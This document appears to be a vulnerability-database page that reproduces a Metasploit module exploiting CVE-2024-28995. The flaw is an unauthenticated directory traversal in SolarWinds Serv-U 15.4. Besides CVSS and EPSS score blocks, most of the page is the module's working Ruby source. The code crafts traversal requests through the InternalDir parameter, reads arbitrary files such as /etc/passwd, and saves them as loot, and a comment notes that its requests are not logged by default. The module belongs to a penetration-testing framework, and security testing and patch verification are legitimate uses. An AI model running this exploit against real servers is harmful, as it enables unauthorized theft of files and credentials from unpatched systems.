Lucene search

K
metasploitSfewer-r7, Hussein DaherMSF:AUXILIARY-GATHER-SOLARWINDS_SERVU_FILEREAD_CVE_2024_28995-
HistoryJun 12, 2024 - 3:25 p.m.

SolarWinds Serv-U Unauthenticated Arbitrary File Read

2024-06-1215:25:09
sfewer-r7, Hussein Daher
www.rapid7.com
13
solarwinds
serv-u
unauthenticated
file read
ftp
gateway
vulnerability

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

7.3 High

AI Score

Confidence

Low

0.343 Low

EPSS

Percentile

97.1%

This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to the vendor supplied hotfix “15.4.2 Hotfix 2” (version 15.4.2.157) are affected.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SolarWinds Serv-U Unauthenticated Arbitrary File Read',
        'Description' => %q{
          This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
          SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
          the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Module & Rapid7 Analysis
          'Hussein Daher' # Original finder
        ],
        'References' => [
          ['CVE', '2024-28995'],
          ['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'],
          ['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis']
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          # There are no side effects I could determine. By default there is no logging enabled by Serv-U, and in
          # testing I was not able to enable logging such that any of the exploits requests were actually logged. If
          # a reverse proxy/gateway is in place that will likely be able to log attacker requests, but that is not a
          # default setup.
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
        OptString.new('TARGETURI', [true, 'The base URI path to the web application', '/']),
        OptString.new('TARGETFILE', [true, 'The full path of a target file to read.', '/etc/passwd']),
        OptInt.new('PATH_TRAVERSAL_COUNT', [true, 'The number of double dot (..) path segments needed to traverse to the root folder.', 4]),
      ]
    )
  end

  def check
    # We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in
    # a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the
    # OS version. By default, the location of the `Serv-U-StartupLog.txt` file is
    # `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt`
    # on Linux.
    default_paths = [
      '\\..',
      '/../../../../ProgramData/RhinoSoft/Serv-U'
    ]

    default_paths.each do |default_path|
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(datastore['TARGETURI']),
        'vars_get' => {
          'InternalDir' => default_path,
          'InternalFile' => 'Serv-U-StartupLog.txt'
        }
      )

      return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res

      next unless res.code == 200

      version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/)

      next unless version

      os = res.body.match(/Operating System:\s+(.+)/)

      return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})")
    end

    Msf::Exploit::CheckCode::Safe
  end

  def run
    if datastore['TARGETFILE'].start_with? '/'
      native_path_sep = '/'
      target_path_sep = '\\'
      target_filepath = datastore['TARGETFILE']
    elsif datastore['TARGETFILE'][1, 3] == ':\\\\'
      native_path_sep = '\\'
      target_path_sep = '/'
      target_filepath = datastore['TARGETFILE'][3..]
    else
      fail_with(Failure::BadConfig, 'Ensure the TARGETFILE path starts with / for a Linux target, and C:\\\\ for a Windows target.')
    end

    # On Windows, the default install directory is: C:\ProgramData\RhinoSoft\Serv-U\
    # On Linux, the default install directory is: /usr/local/Serv-U/
    # The Serv-U service, will read files from the Client  directory, so /usr/local/Serv-U/Client/ on Linux
    # and C:\ProgramData\RhinoSoft\Serv-U\Client\ on Windows.
    # Therefore to leverage the directory traversal and navigate to the root folder on either platform will require
    # 4 double dot path segments.
    # We expose PATH_TRAVERSAL_COUNT to the user in case they are targeting a non default install location.
    path_traversal = "#{target_path_sep}.." * datastore['PATH_TRAVERSAL_COUNT']

    last_sep_pos = target_filepath.rindex(native_path_sep)

    fail_with(Failure::BadConfig, 'Could not locate a path separator in the TARGETFILE path') unless last_sep_pos

    if last_sep_pos == 0
      internal_dir = ''
    else
      internal_dir = target_filepath[0..last_sep_pos - 1].gsub(native_path_sep, target_path_sep)
    end

    internal_file = target_filepath[last_sep_pos + 1..]

    print_status("Reading file #{datastore['TARGETFILE']}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_get' => {
        'InternalDir' => path_traversal << internal_dir,
        'InternalFile' => internal_file
      }
    )

    fail_with(Failure::UnexpectedReply, 'Connection failed') unless res

    fail_with(Failure::UnexpectedReply, "Unexpected response from server. HTTP code #{res.code}.") unless res.code == 200

    if datastore['STORE_LOOT']
      print_status('Storing the file data to loot...')

      store_loot(
        internal_file,
        res.body.ascii_only? ? 'text/plain' : 'application/octet-stream',
        datastore['RHOST'],
        res.body,
        datastore['TARGETFILE'],
        'File read from SolarWinds Serv-U server'
      )
    else
      print_line(res.body)
    end
  end

end

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

7.3 High

AI Score

Confidence

Low

0.343 Low

EPSS

Percentile

97.1%

Related for MSF:AUXILIARY-GATHER-SOLARWINDS_SERVU_FILEREAD_CVE_2024_28995-